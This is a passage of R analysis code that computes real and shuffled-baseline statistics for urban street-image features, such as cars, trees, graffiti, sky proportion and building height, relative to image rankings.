pavementMax <- cbind(pavementMax, abs(as.double(rankLine1[["pavement"]]) - as.double(rankLine2[["pavement"]])))
landscapeMax <- cbind(landscapeMax, abs(as.double(rankLine1[["landscape"]]) - as.double(rankLine2[["landscape"]])))
propStreetWallMax <- cbind(propStreetWallMax, abs(as.double(rankLine1[["prop_street_wall"]]) - as.double(rankLine2[["prop_street_wall"]])))
propWindMax <- cbind(propWindMax, abs(as.double(rankLine1[["prop_wind"]]) - as.double(rankLine2[["prop_wind"]])))
longSightMax <- longSightMax + abs(as.double(rankLine1[["long_sight"]]) - as.double(rankLine2[["long_sight"]]))
propSkyAheadMax <- cbind(propSkyAheadMax, abs(as.double(rankLine1[["prop_sky_ahead"]]) - as.double(rankLine2[["prop_sky_ahead"]])))
propSkyAcrossMax <- cbind(propSkyAcrossMax, abs(as.double(rankLine1[["prop_sky_across"]]) - as.double(rankLine2[["prop_sky_across"]])))
buildHeightMax <- buildHeightMax + abs(as.double(rankLine1[["build_height"]]) - as.double(rankLine2[["build_height"]]))
propActiveUseMax <- cbind(propActiveUseMax, abs(as.double(rankLine1[["prop_active_use"]]) - as.double(rankLine2[["prop_active_use"]])))
}
}
}
#Real world mean values for grades and proportions
if( length(debris) > 0 ){
featuresMapG1[["movCars"]] <- movCars
featuresMapG1[["parkCars"]] <- parkCars
featuresMapG1[["movCicly"]] <- movCicly
featuresMapG1[["buildId"]] <- buildId
featuresMapG1[["buildNRec"]] <- buildNRec
featuresMapG1[["tree"]] <- tree
featuresMapG1[["smallPla"]] <- smallPla
featuresMapG1[["diffBuild"]] <- diffBuild
featuresMapG1[["streeFur"]] <- streeFur
featuresMapG1[["basCol"]] <- basCol
featuresMapG1[["ligh"]] <- ligh
featuresMapG1[["accenCol"]] <- accenCol
featuresMapG1[["peop"]] <- peop
featuresMapG1[["graff"]] <- graff
featuresMapG1[["buildDiffAges"]] <- buildDiffAges
featuresMapG1[["streetWid"]] <- streetWid
featuresMapG1[["sidewalkWid"]] <- sidewalkWid
featuresMapG1[["buildHeight"]] <- buildHeight
featuresMapG1[["longSight"]] <- longSight
featuresMapG1[["debris"]] <- mean(debris)
featuresMapG1[["pavement"]] <- mean(pavement)
featuresMapG1[["landscape"]]<- mean(landscape)
featuresMapG1[["propStreetWall"]] <- mean(propStreetWall)
featuresMapG1[["propWind"]] <- mean(propWind)
featuresMapG1[["propStreetWall"]] <- mean(propStreetWall)
featuresMapG1[["propWind"]] <- mean(propWind)
featuresMapG1[["propSkyAhead"]] <- mean(propSkyAhead)
featuresMapG1[["propSkyAcross"]] <- mean(propSkyAcross)
featuresMapG1[["propActiveUse"]] <- mean(propActiveUse)
}
featuresMapMax[["movCars"]] <- movCarsMax
featuresMapMax[["parkCars"]] <- parkCarsMax
featuresMapMax[["movCicly"]] <- movCiclyMax
featuresMapMax[["buildId"]] <- buildIdMax
featuresMapMax[["buildNRec"]] <- buildNRecMax
featuresMapMax[["tree"]] <- treeMax
featuresMapMax[["smallPla"]] <- smallPlaMax
featuresMapMax[["diffBuild"]] <- diffBuildMax
featuresMapMax[["streeFur"]] <- streeFurMax
featuresMapMax[["basCol"]] <- basColMax
featuresMapMax[["ligh"]] <- lighMax
featuresMapMax[["accenCol"]] <- accenColMax
featuresMapMax[["peop"]] <- peopMax
featuresMapMax[["graff"]] <- graffMax
featuresMapMax[["buildDiffAges"]] <- buildDiffAgesMax
featuresMapMax[["streetWid"]] <- streetWidMax
featuresMapMax[["sidewalkWid"]] <- sidewalkWidMax
featuresMapMax[["buildHeight"]] <- buildHeightMax
featuresMapMax[["longSight"]] <- longSightMax
featuresMapMax[["debris"]] <- mean(debrisMax)
featuresMapMax[["pavement"]] <- mean(pavementMax)
featuresMapMax[["landscape"]] <- mean(landscapeMax)
featuresMapMax[["propStreetWall"]] <- mean(propStreetWallMax)
featuresMapMax[["propWind"]] <- mean(propWindMax)
featuresMapMax[["propStreetWall"]] <- mean(propStreetWallMax)
featuresMapMax[["propWind"]] <- mean(propWindMax)
featuresMapMax[["propSkyAhead"]] <- mean(propSkyAheadMax)
featuresMapMax[["propSkyAcross"]] <- mean(propSkyAcrossMax)
featuresMapMax[["propActiveUse"]] <- mean(propActiveUseMax)
#Random world
movCars <- parkCars <- movCicly <- buildId <- buildNRec <- tree <- smallPla <- diffBuild <-streeFur <- basCol <- ligh <- accenCol <- peop <- graff <- buildDiffAges <- streetWid <- sidewalkWid <- longSight <- buildHeight <- 0
debris <- pavement <- landscape <- propStreetWall <- propWind <- propSkyAhead <- propSkyAcross <- propActiveUse <- c()
for (i in seq(1, iterations)){
#randomIndex <- sample(data[["index)
featuresMapR = data.frame(movCars = 0 , parkCars = 0, movCicly= 0, buildId = 0, buildNRec=0, tree=0, smallPla=0, diffBuild=0, streeFur=0, basCol=0, ligh=0, accenCol=0, peop=0, graff=0, buildDiffAges=0, streetWid=0, sidewalkWid=0, debris=0, pavement=0, landscape=0, propStreetWall=0, propWind=0, longSight=0, propSkyAhead=0 , propSkyAcross=0, buildHeight=0, propActiveUse=0)
randomCols <- sample(c("mov_cars", "park_cars", "mov_ciclyst", "build_ident", "build_nrectan", "trees", "small_planters", "diff_build", "street_furnit", "basic_col", "lights", "accent_col", "people", "graffiti", "build_diff_ages", "street_wid", "sidewalk_wid", "debris", "pavement", "landscape", "prop_street_wall", "prop_wind", "long_sight", "prop_sky_ahead", "prop_sky_across", "build_height", "prop_active_use"))
movCarsR <- parkCarsR <- movCiclyR <- buildIdR <- buildNRecR <- treeR <- smallPlaR <- diffBuildR <- streeFurR <- basColR <- lighR <- accenColR <- peopR <- graffR <- buildDiffAgesR <- streetWidR <- sidewalkWidR <- longSightR <- buildHeightR <- 0
debrisR <- pavementR <- landscapeR <- propStreetWallR <- propWindR <- propSkyAheadR <- propSkyAcrossR <- propActiveUseR <- c()
for( i in seq(1, amountOfItems) ) {
rankLine1 <- data[i,]
if( i+1 <= amountOfItems ) {
for( j in seq(i+1, amountOfItems) ) {
rankLine2 <- data[j,]
if( (rankLine1[["rank"]] < rankLine2[["rank"]]) & (rankLine1[["index"]] > rankLine2[["index"]]) ){
movCarsR <- movCarsR + as.double(rankLine1[[randomCols[1]]]) - as.double(rankLine2[[randomCols[1]]])
parkCarsR <- parkCarsR + as.double(rankLine1[[randomCols[2]]]) - as.double(rankLine2[[randomCols[2]]])
movCiclyR <- movCiclyR + as.double(rankLine1[[randomCols[3]]]) - as.double(rankLine2[[randomCols[3]]])
buildIdR <- buildIdR + as.double(rankLine1[[randomCols[4]]]) - as.double(rankLine2[[randomCols[4]]])
buildNRecR <- buildNRecR + as.double(rankLine1[[randomCols[5]]]) - as.double(rankLine2[[randomCols[5]]])
treeR <- treeR + as.double(rankLine1[[randomCols[6]]]) - as.double(rankLine2[[randomCols[6]]])
smallPlaR <- smallPlaR + as.double(rankLine1[[randomCols[7]]]) - as.double(rankLine2[[randomCols[7]]])
diffBuildR <- diffBuildR + as.double(rankLine1[[randomCols[8]]]) - as.double(rankLine2[[randomCols[8]]])
streeFurR <- streeFurR + as.double(rankLine1[[randomCols[9]]]) - as.double(rankLine2[[randomCols[9]]])
basColR <- basColR + as.double(rankLine1[[randomCols[10]]]) - as.double(rankLine2[[randomCols[10]]])
lighR <- lighR + as.double(rankLine1[[randomCols[11]]]) - as.double(rankLine2[[randomCols[11]]])
accenColR <- accenColR + as.double(rankLine1[[randomCols[12]]]) - as.double(rankLine2[[randomCols[12]]])
peopR <- peopR + as.double(rankLine1[[randomCols[13]]]) - as.double(rankLine2[[randomCols[13]]])
graffR <- graffR + as.double(rankLine1[[randomCols[14]]]) - as.double(rankLine2[[randomCols[14]]])
buildDiffAgesR <- buildDiffAgesR + as.double(rankLine1[[randomCols[15]]]) - as.double(rankLine2[[randomCols[15]]])
streetWidR <- streetWidR + as.double(rankLine1[[randomCols[16]]]) - as.double(rankLine2[[randomCols[16]]])
sidewalkWidR <- sidewalkWidR + as.double(rankLine1[[randomCols[17]]]) - as.double(rankLine2[[randomCols[17]]])
debrisR <- cbind(debrisR, as.double(rankLine1[[randomCols[22]]]) - as.double(rankLine2[[randomCols[22]]]))
pavementR <- cbind(pavementR, as.double(rankLine1[[randomCols[19]]]) - as.double(rankLine2[[randomCols[19]]]))
landscapeR <- cbind(landscapeR, as.double(rankLine1[[randomCols[20]]]) - as.double(rankLine2[[randomCols[20]]]))
propStreetWallR <- cbind(propStreetWallR, as.double(rankLine1[[randomCols[21]]]) - as.double(rankLine2[[randomCols[21]]]))
propWindR <- cbind(propWindR, as.double(rankLine1[[randomCols[22]]]) - as.double(rankLine2[[randomCols[22]]]))
longSightR <- longSightR + as.double(rankLine1[[randomCols[23]]]) - as.double(rankLine2[[randomCols[23]]])
propSkyAheadR <- cbind(propSkyAheadR, as.double(rankLine1[[randomCols[24]]]) - as.double(rankLine2[[randomCols[24]]]))
propSkyAcrossR <- cbind(propSkyAcrossR, as.double(rankLine1[[randomCols[25]]]) - as.double(rankLine2[[randomCols[25]]]))
buildHeightR <- buildHeightR + as.double(rankLine1[[randomCols[26]]]) - as.double(rankLine2[[randomCols[26]]])
propActiveUseR <- cbind(propActiveUseR, as.double(rankLine1[[randomCols[27]]]) - as.double(rankLine2[[randomCols[27]]]))
}
}
}
}
#Binding with previous iterations
movCars <- cbind(movCars, movCarsR)
parkCars <- cbind(parkCars, parkCarsR)
movCicly <- cbind(movCicly, movCiclyR)
buildId <- cbind(buildId, buildIdR)
buildNRec <- cbind(buildNRec, buildNRecR)
tree <- cbind(tree, treeR)
smallPla <- cbind(smallPla, smallPlaR)
diffBuild <- cbind(diffBuild, diffBuildR)
streeFur <- cbind(streeFur, streeFurR)
basCol <- cbind(basCol, basColR)
ligh <- cbind(ligh, lighR)
accenCol <- cbind(accenCol, accenColR)
peop <- cbind(peop, peopR)
graff <- cbind(graff, graffR)
buildDiffAges <- cbind(buildDiffAges, buildDiffAgesR)
streetWid <- cbind(streetWid, streetWidR)
sidewalkWid <- cbind(sidewalkWid, sidewalkWidR)
#debris <- cbind(debris, debrisR)
#pavement <- cbind(pavement, pavementR)
#landscape <- cbind(landscape, landscapeR)
longSight <- cbind(longSight, longSightR)
buildHeight <- cbind(buildHeight, buildHeightR)
if( length(debrisR) > 0 ) {
debris <- cbind(debris, mean(debrisR))
pavement <- cbind(pavement, mean(pavementR))
landscape <- cbind(landscape, mean(landscapeR))
#propStreetWall <- cbind(propStreetWall, propStreetWall"]])
#propWind <- cbind(propWind, propWind"]])
propStreetWall <- cbind(propStreetWall, mean(propStreetWallR))
propWind <- cbind(propWind, mean(propWindR))
#propSkyAhead <- cbind(propSkyAhead, propSkyAhead"]])
#propSkyAcross <- cbind(propSkyAcross, propSkyAcross"]])
propSkyAhead <- cbind(propSkyAhead, mean(propSkyAheadR))
propSkyAcross <- cbind(propSkyAcross, mean(propSkyAcrossR))
#propActiveUse <- cbind(propActiveUse, propActiveUse"]])
propActiveUse <- cbind(propActiveUse, mean(propActiveUseR))
}
}
#Random world mean
featuresMapG1[["rmovCars"]] <- mean(movCars)
featuresMapG1[["rparkCars"]] <- mean(parkCars)
featuresMapG1[["rmovCicly"]] <- mean(movCicly)
featuresMapG1[["rbuildId"]] <- mean(buildId)
featuresMapG1[["rbuildNRec"]] <- mean(buildNRec)
featuresMapG1[["rtree"]] <- mean(tree)
featuresMapG1[["rsmallPla"]] <- mean(smallPla)
featuresMapG1[["rdiffBuild"]] <- mean(diffBuild)
featuresMapG1[["rstreeFur"]] <- mean(streeFur)
featuresMapG1[["rbasCol"]] <- mean(basCol)
featuresMapG1[["rligh"]] <- mean(ligh)
featuresMapG1[["raccenCol"]] <- mean(accenCol)
featuresMapG1[["rpeop"]] <- mean(peop)
featuresMapG1[["rgraff"]] <- mean(graff)
featuresMapG1[["rbuildDiffAges"]] <- mean(buildDiffAges)
featuresMapG1[["rstreetWid"]] <- mean(streetWid)
featuresMapG1[["rsidewalkWid"]] <- mean(sidewalkWid)
featuresMapG1[["rlongSight"]] <- mean(longSight)
featuresMapG1[["rbuildHeight"]] <- mean(buildHeight)
if( length(debris) > 0 ) {
featuresMapG1[["rdebris"]] <- mean(debris)
featuresMapG1[["rpavement"]] <- mean(pavement)
featuresMapG1[["rlandscape"]] <- mean(landscape)
featuresMapG1[["rpropStreetWall"]] <- mean(propStreetWall)
featuresMapG1[["rpropWind"]] <- mean(propWind)
featuresMapG1[["rpropSkyAhead"]] <- mean(propSkyAhead)
featuresMapG1[["rpropSkyAcross"]] <- mean(propSkyAcross)
featuresMapG1[["rpropActiveUse"]] <- mean(propActiveUse)
}
featuresMapG1[["rsdMovCars"]] <- sd(movCars)
featuresMapG1[["rsdParkCars"]] <- sd(parkCars)
featuresMapG1[["rsdMovCicly"]] <- sd(movCicly)
featuresMapG1[["rsdBuildId"]] <- sd(buildId)
featuresMapG1[["rsdBuildNRec"]] <- sd(buildNRec)
featuresMapG1[["rsdTree"]] <- sd(tree)
featuresMapG1[["rsdSmallPla"]] <- sd(smallPla)
featuresMapG1[["rsdDiffBuild"]] <- sd(diffBuild)
featuresMapG1[["rsdStreeFur"]] <- sd(streeFur)
featuresMapG1[["rsdBasCol"]] <- sd(basCol)
featuresMapG1[["rsdLigh"]] <- sd(ligh)
featuresMapG1[["rsdAccenCol"]] <- sd(accenCol)
featuresMapG1[["rsdPeop"]] <- sd(peop)
featuresMapG1[["rsdGraff"]] <- sd(graff)
featuresMapG1[["rsdBuildDiffAges"]] <- sd(buildDiffAges)
featuresMapG1[["rsdStreetWid"]] <- sd(streetWid)
featuresMapG1[["rsdSidewalkWid"]] <- sd(sidewalkWid)
featuresMapG1[["rsdLongSight"]] <- sd(longSight)
featuresMapG1[["rsdBuildHeight"]] <- sd(buildHeight)
featuresMapG1[["rsdDebris"]] <- sd(debris)
featuresMapG1[["rsdPavement"]] <- sd(pavement)
featuresMapG1[["rsdLandscape"]] <- sd(landscape)
featuresMapG1[["rsdPropStreetWall"]] <- sd(propStreetWall)
featuresMapG1[["rsdPropWind"]] <- sd(propWind)
featuresMapG1[["rsdPropSkyAhead"]] <- sd(propSkyAhead)
featuresMapG1[["rsdPropSkyAcross"]] <- sd(propSkyAcross)
featuresMapG1[["rsdPropActiveUse"]] <- sd(propActiveUse)
#Adding random mean values - normalized
featuresMapG1[["rmovCarsN"]] <- mean(movCars) / featuresMapMax[["movCars"]]#/ (maxMovCars*den)
featuresMapG1[["rparkCarsN"]] <- mean(parkCars) / featuresMapMax[["parkCars"]]#/ (maxParkCars*den)
featuresMapG1[["rmovCiclyN"]] <- mean(movCicly)/ featuresMapMax[["movCicly"]] #/ (maxMovCicly*den)
featuresMapG1[["rbuildIdN"]] <- mean(buildId) / featuresMapMax[["buildId"]]#/ (maxBuildId*den)
featuresMapG1[["rbuildNRecN"]] <- mean(buildNRec) / featuresMapMax[["buildNRec"]]#/ (maxBuildNRec*den)
featuresMapG1[["rtreeN"]] <- mean(tree) / featuresMapMax[["tree"]]#/ (maxTree*den)
featuresMapG1[["rsmallPlaN"]] <- mean(smallPla) / featuresMapMax[["smallPla"]]#/ (maxSmallPla*den)
featuresMapG1[["rdiffBuildN"]] <- mean(diffBuild) / featuresMapMax[["diffBuild"]]#/ (maxDiffBuild*den)
featuresMapG1[["rstreeFurN"]] <- mean(streeFur) / featuresMapMax[["streeFur"]]#/ (maxStreeFur*den)
featuresMapG1[["rbasColN"]] <- mean(basCol) / featuresMapMax[["basCol"]]#/ (maxBasCol*den)
featuresMapG1[["rlighN"]] <- mean(ligh) / featuresMapMax[["ligh"]]#/ (maxLigh*den)
featuresMapG1[["raccenColN"]] <- mean(accenCol) / featuresMapMax[["accenCol"]]#/ (maxAccenCol*den)
featuresMapG1[["rpeopN"]] <- mean(peop) / featuresMapMax[["peop"]]#/ (maxPeop*den)
featuresMapG1[["rgraffN"]] <- mean(graff) / featuresMapMax[["graff"]]#/ (maxGraff*den)
featuresMapG1[["rbuildDiffAgesN"]] <- mean(buildDiffAges) / featuresMapMax[["buildDiffAges"]]#/ (maxBuildDiffAges*den)
featuresMapG1[["rstreetWidN"]] <- mean(streetWid) / featuresMapMax[["streetWid"]]
featuresMapG1[["rsidewalkWidN"]] <- mean(sidewalkWid) / featuresMapMax[["sidewalkWid"]]
featuresMapG1[["rdebrisN"]] <- mean(debris) / featuresMapMax[["debris"]]
featuresMapG1[["rpavementN"]] <- mean(pavement) / featuresMapMax[["pavement"]]
featuresMapG1[["rlandscapeN"]] <- mean(landscape) / featuresMapMax[["landscape"]]
featuresMapG1[["rpropStreetWallN"]] <- mean(propStreetWall) / featuresMapMax[["propStreetWall"]]
featuresMapG1[["rpropWindN"]] <- mean(propWind) / featuresMapMax[["propWind"]]
featuresMapG1[["rlongSightN"]] <- mean(longSight) / featuresMapMax[["longSight"]]
featuresMapG1[["rpropSkyAheadN"]] <- mean(propSkyAhead) / featuresMapMax[["propSkyAhead"]]
featuresMapG1[["rpropSkyAcrossN"]] <- mean(propSkyAcross) / featuresMapMax[["propSkyAcross"]]
featuresMapG1[["rbuildHeightN"]] <- mean(buildHeight) / featuresMapMax[["buildHeight"]]
featuresMapG1[["rpropActiveUseN"]] <- mean(propActiveUse) / featuresMapMax[["propActiveUse"]]
#Normalizing real values
featuresMapG1[["movCarsN"]] <- featuresMapG1[["movCars"]] / featuresMapMax[["movCars"]]#(maxMovCars*den)
featuresMapG1[["parkCarsN"]] <- featuresMapG1[["parkCars"]] / featuresMapMax[["parkCars"]]#(maxParkCars*den)
featuresMapG1[["movCiclyN"]] <- featuresMapG1[["movCicly"]] / featuresMapMax[["movCicly"]]#(maxMovCicly*den)
featuresMapG1[["buildIdN"]] <- featuresMapG1[["buildId"]]/ featuresMapMax[["buildId"]]#(maxBuildId*den)
featuresMapG1[["buildNRecN"]] <- featuresMapG1[["buildNRec"]] / featuresMapMax[["buildNRec"]]#(maxBuildNRec*den)
featuresMapG1[["treeN"]] <- featuresMapG1[["tree"]] / featuresMapMax[["tree"]]#(maxTree*den)
featuresMapG1[["smallPlaN"]] <- featuresMapG1[["smallPla"]] / featuresMapMax[["smallPla"]]#(maxSmallPla*den)
featuresMapG1[["diffBuildN"]] <- featuresMapG1[["diffBuild"]] / featuresMapMax[["diffBuild"]]#(maxDiffBuild*den)
featuresMapG1[["streeFurN"]] <- featuresMapG1[["streeFur"]] / featuresMapMax[["streeFur"]]#(maxStreeFur*den)
featuresMapG1[["basColN"]] <- featuresMapG1[["basCol"]] / featuresMapMax[["basCol"]]#(maxBasCol*den)
featuresMapG1[["lighN"]] <- featuresMapG1[["ligh"]] / featuresMapMax[["ligh"]]#(maxLigh*den)
featuresMapG1[["accenColN"]] <- featuresMapG1[["accenCol"]] / featuresMapMax[["accenCol"]]#(maxAccenCol*den)
featuresMapG1[["peopN"]] <- featuresMapG1[["peop"]] / featuresMapMax[["peop"]]#(maxPeop*den)
featuresMapG1[["graffN"]] <- featuresMapG1[["graff"]]/ featuresMapMax[["graff"]]#(maxGraff*den)
featuresMapG1[["buildDiffAgesN"]] <- featuresMapG1[["buildDiffAges"]] / featuresMapMax[["buildDiffAges"]]#(maxBuildDiffAges*den)
featuresMapG1[["streetWidN"]] <- featuresMapG1[["streetWid"]] / featuresMapMax[["streetWid"]]
featuresMapG1[["sidewalkWidN"]] <- featuresMapG1[["sidewalkWid"]] / featuresMapMax[["sidewalkWid"]]
featuresMapG1[["debrisN"]] <- featuresMapG1[["debris"]] / featuresMapMax[["debris"]]
featuresMapG1[["pavementN"]] <- featuresMapG1[["pavement"]] / featuresMapMax[["pavement"]]
featuresMapG1[["landscapeN"]] <- featuresMapG1[["landscape"]] / featuresMapMax[["landscape"]]
featuresMapG1[["propStreetWallN"]] <- featuresMapG1[["propStreetWall"]] / featuresMapMax[["propStreetWall"]]
featuresMapG1[["propWindN"]] <- featuresMapG1[["propWind"]] / featuresMapMax[["propWind"]]
featuresMapG1[["longSightN"]] <- featuresMapG1[["longSight"]] / featuresMapMax[["longSight"]]
featuresMapG1[["propSkyAheadN"]] <- featuresMapG1[["propSkyAhead"]] / featuresMapMax[["propSkyAhead"]]
featuresMapG1[["propSkyAcrossN"]] <- featuresMapG1[["propSkyAcross"]] / featuresMapMax[["propSkyAcross"]]
featuresMapG1[["buildHeightN"]] <- featuresMapG1[["buildHeight"]] / featuresMapMax[["buildHeight"]]
featuresMapG1[["propActiveUseN"]] <- featuresMapG1[["propActiveUse"]] / featuresMapMax[["propActiveUse"]]
return ( featuresMapG1 )
}
#Calculates maximum denominator for normalization
calcGreatesSum <- function(maxFeature, amountOfImages) {
sumFeat <- 0
maxDiff <- amountOfImages - 1
reuse <- FALSE
for (i in seq(1, amountOfImages)){
sumFeat <- sumFeat + maxFeature * (maxDiff)
if(maxDiff == 0 | maxDiff == 1){
maxDiff <- amountOfImages - 1
}else{
maxDiff <- maxDiff - 2
}
}
return (sumFeat)
}
#Evaluates presence and coefficients for each picture
calcDanieleCoeff <- function (data) {
data$diff <- data$rank - data$index
data$movCars <- (data$mov_cars * (data$diff/107)) / sum(data$mov_cars)
data$parkCars <- (data$park_cars * (data$diff/107)) / sum(data$park_cars)
data$movCicly <- (data$mov_ciclyst * (data$diff/107)) / sum(data$mov_ciclyst)
data$buildId <- (data$build_ident * (data$diff/107)) / sum(data$build_ident)
data$buildNRec <- (data$build_nrectan * (data$diff/107)) / sum(data$build_nrectan)
data$tree <- (data$trees * (data$diff/107)) / sum(data$trees)
data$smallPla <- (data$small_planters * (data$diff/107)) / sum(data$small_planters)
data$diffBuild <- (data$diff_build * (data$diff/107)) / sum(data$diff_build)
data$streeFur <- (data$street_furnit * (data$diff/107)) / sum(data$street_furnit)
data$basCol <- (data$basic_col * (data$diff/107)) / sum(data$basic_col)
data$ligh <- (data$lights * (data$diff/107)) / sum(data$lights)
data$accenCol <- (data$accent_col * (data$diff/107)) / sum(data$accent_col)
data$peop <- (data$people * (data$diff/107)) / sum(data$people)
data$graffiti <- as.character(data$graffiti)
data$graffiti[data$graffiti == "No"] <- 0
data$graffiti[data$graffiti == "Yes"] <- 1
data$graff <- (data$diff/107 * as.integer(data$graffiti)) / sum(as.integer(data$graffiti))
data$build_diff_ages <- as.character(data$build_diff_ages)
data$build_diff_ages[data$build_diff_ages == "No"] <- 0
data$build_diff_ages[data$build_diff_ages == "yes"] <- 1
data$buildDiffAges <- (data$diff/107 * as.integer(data$build_diff_ages)) / sum(as.integer(data$build_diff_ages))
data$movCars2 <- (data$mov_cars * abs(data$diff))
data$parkCars2 <- (data$park_cars * abs(data$diff))
data$movCicly2 <- (data$mov_ciclyst * abs(data$diff))
data$buildId2 <- (data$build_ident * abs(data$diff))
data$buildNRec2 <- (data$build_nrectan * abs(data$diff))
data$tree2 <- (data$trees * abs(data$diff))
data$diffBuild2 <- (data$diff_build * abs(data$diff))
data$streeFur2 <- (data$street_furnit * abs(data$diff))
data$smallPla2 <- (data$small_planters * abs(data$diff))
data$basCol2 <- (data$basic_col * abs(data$diff))
data$ligh2 <- (data$lights * abs(data$diff))
data$accenCol2 <- (data$accent_col * abs(data$diff))
data$peop2 <- (data$people * abs(data$diff))
data$graff2 <- (abs(data$diff) * as.integer(data$graffiti))
data$buildDiffAges2 <- (abs(data$diff) * as.integer(data$build_diff_ages))
size <- nrow(data)
data$sumMovCars <- calcGreatesSum(max(data$mov_cars), size)
data$sumParkCars <- calcGreatesSum(max(data$park_cars), size)
data$sumMovCicly <- calcGreatesSum(max(data$mov_ciclyst), size)
data$sumBuildId <- calcGreatesSum(max(data$build_ident),size)
data$sumBuildNRec <- calcGreatesSum(max(data$build_nrectan),size)
data$sumTree <- calcGreatesSum(max(data$trees),size)
data$sumSmallPla <- calcGreatesSum(max(data$small_planters),size)
data$sumDiffBuild <- calcGreatesSum(max(data$diff_build),size)
data$sumStreeFur <- calcGreatesSum(max(data$street_furnit),size)
data$sumBasCol <- calcGreatesSum(max(data$basic_col),size)
data$sumLigh <- calcGreatesSum(max(data$lights),size)
data$sumAccenCol <- calcGreatesSum(max(data$accent_col),size)
data$sumPeop <- calcGreatesSum(max(data$people),size)
data$sumGraff <- calcGreatesSum(max(as.integer(data$graffiti)),size)
data$sumBuildDiffAges <- calcGreatesSum(max(as.integer(data$build_diff_ages)),size)
data$maxMovCars <- max(data$mov_cars)
data$maxParkCars <- max(data$park_cars)
data$maxMovCicly <- max(data$mov_ciclyst)
data$maxBuildId <- max(data$build_ident)
data$maxBuildNRec <- max(data$build_nrectan)
data$maxTree <- max(data$trees)
data$maxSmallPla <- max(data$small_planters)
data$maxDiffBuild <- max(data$diff_build)
data$maxStreeFur <- max(data$street_furnit)
data$maxBasCol <- max(data$basic_col)
data$maxLigh <- max(data$lights)
data$maxAccenCol <- max(data$accent_col)
data$maxPeop <- max(data$people)
data$maxGraff <- max(as.integer(data$graffiti))
data$maxBuildDiffAges <- max(as.integer(data$build_diff_ages))
return (data)
}
randomizeCoeff <- function (data, iterations) {
movCars <- parkCars <- movCicly <- buildId <- buildNRec <- tree <- smallPla <- diffBuild <-streeFur <- basCol <- ligh <- accenCol <- peop <- graff <- buildDiffAges <- deb <- pav <- land <- propStreetWall <- propWind <- propSkyAhe <- propActiv <- streetW <- sidewalW <- buildHei <- c()
movCars2 <- parkCars2 <- movCicly2 <- buildId2 <- buildNRec2 <- tree2 <- smallPla2 <- diffBuild2 <- streeFur2 <- basCol2 <- ligh2 <- accenCol2 <- peop2 <- graff2 <- buildDiffAges2 <- deb2 <- pav2 <- land2 <- propStreetWall2 <- propWind2 <- propSkyAhe2 <- propActiv2 <- streetW2 <- sidewalW2 <- buildHei2 <- c()
graffiti <- as.character(data$graffiti)
graffiti[data$graffiti == "No"] <- 0
graffiti[data$graffiti == "Yes"] <- 1
build_diff_ages <- as.character(data$build_diff_ages)
build_diff_ages[data$build_diff_ages == "No"] <- 0
build_diff_ages[data$build_diff_ages == "yes"] <- 1
for (i in seq(1, iterations)){#Creating shuffled values
differences <- sample(data$diff)
movCars <- cbind(movCars, (data$mov_cars * differences[2]/107) / sum(data$mov_cars))
parkCars <- cbind(parkCars, (data$park_cars * differences[3]/107) / sum(data$park_cars))
movCicly <- cbind(movCicly, (data$mov_ciclyst * differences[4]/107) / sum(data$mov_ciclyst))
buildId <- cbind(buildId, (data$build_ident * differences[8])/107 / sum(data$build_ident))
buildNRec <- cbind(buildNRec,(data$build_nrectan * differences[9]/107) / sum(data$build_nrectan))
tree <- cbind(tree,(data$trees * differences[15]/107) / sum(data$trees))
smallPla <- cbind(smallPla,(data$small_planters * differences[16]/107) / sum(data$small_planters))
diffBuild <- cbind(diffBuild,(data$diff_build * differences[19]/107) / sum(data$diff_build))
streeFur <- cbind(streeFur, (data$street_furnit * differences[20]/107) / sum(data$street_furnit))
basCol <- cbind(basCol, (data$basic_col * differences[21]/107) / sum(data$basic_col))
ligh <- cbind(ligh, (data$lights * differences[22]/107) / sum(data$lights))
accenCol <- cbind(accenCol, (data$accent_col * differences[23]/107) / sum(data$accent_col))
peop <- cbind(peop, (data$people * differences[24]/107) / sum(data$people))
graff <- cbind(graff, (differences[14]/107 * as.integer(data$graffiti)) / sum(as.integer(data$graffiti)))
buildDiffAges <- cbind(buildDiffAges, (differences[18]/107 * as.integer(data$build_diff_ages)) / sum(as.integer(data$build_diff_ages)))
movCars2 <- cbind( movCars2, (data$mov_cars * abs(differences[2])) )
parkCars2 <- cbind(parkCars2, (data$park_cars * abs(differences[3])))
movCicly2 <- cbind(movCicly2, (data$mov_ciclyst * abs(differences[4])))
buildId2 <- cbind(buildId2, (data$build_ident * abs(differences[8])))
buildNRec2 <- cbind(buildNRec2,(data$build_nrectan * abs(differences[9])))
tree2 <- cbind(tree2,(data$trees * abs(differences[15])))
smallPla2 <- cbind(smallPla2,(data$small_planters * abs(differences[16])))
diffBuild2 <- cbind(diffBuild2,(data$diff_build * abs(differences[19])))
streeFur2 <- cbind(streeFur2, (data$street_furnit * abs(differences[20])))
basCol2 <- cbind(basCol2, (data$basic_col * abs(differences[21])))
ligh2 <- cbind(ligh2, (data$lights * abs(differences[22])))
accenCol2 <- cbind(accenCol2, (data$accent_col * abs(differences[23])))
peop2 <- cbind(peop2, (data$people * abs(differences[24])))
graff2 <- cbind(graff2, (abs(differences[14]) * as.integer(data$graffiti)))
buildDiffAges2 <- cbind(buildDiffAges2, (abs(differences[18]) * as.integer(data$build_diff_ages)))
}
#Shuffle mean and sd
data$rmovCars <- apply(movCars, 1, mean)
data$rsdmovCars <- apply(movCars, 1, sd)
data$rparkCars <- apply(parkCars, 1, mean)
data$rsdparkCars <- apply(parkCars, 1, sd)
data$rmovCicly <- apply(movCicly, 1, mean)
data$rsdmovCicly <- apply(movCicly, 1, sd)
data$rbuildId <- apply(buildId, 1, mean)
data$rsdbuildId <- apply(buildId, 1, sd)
data$rbuildNRec <- apply(buildNRec, 1, mean)
data$rsdbuildNRec <- apply(buildNRec, 1, sd)
data$rtree <- apply(tree, 1, mean)
data$rsdtree <- apply(tree, 1, sd)
data$rsmallPla <- apply(smallPla, 1, mean)
data$rsdsmallPla <- apply(smallPla, 1, sd)
data$rdiffBuild <- apply(diffBuild, 1, mean)
data$rsddiffBuild <- apply(diffBuild, 1, sd)
data$rstreeFur <- apply(streeFur, 1, mean)
data$rsdstreeFur <- apply(streeFur, 1, sd)
data$rbasCol <- apply(basCol, 1, mean)
data$rsdbasCol <- apply(basCol, 1, sd)
data$rligh <- apply(ligh, 1, mean)
data$rsdligh <- apply(ligh, 1, sd)
data$raccenCol <- apply(accenCol, 1, mean)
data$rsdaccenCol <- apply(accenCol, 1, sd)
data$rpeop <- apply(peop, 1, mean)
data$rsdpeop <- apply(peop, 1, sd)
data$rgraff <- apply(graff, 1, mean)
data$rsdgraff <- apply(graff, 1, sd)
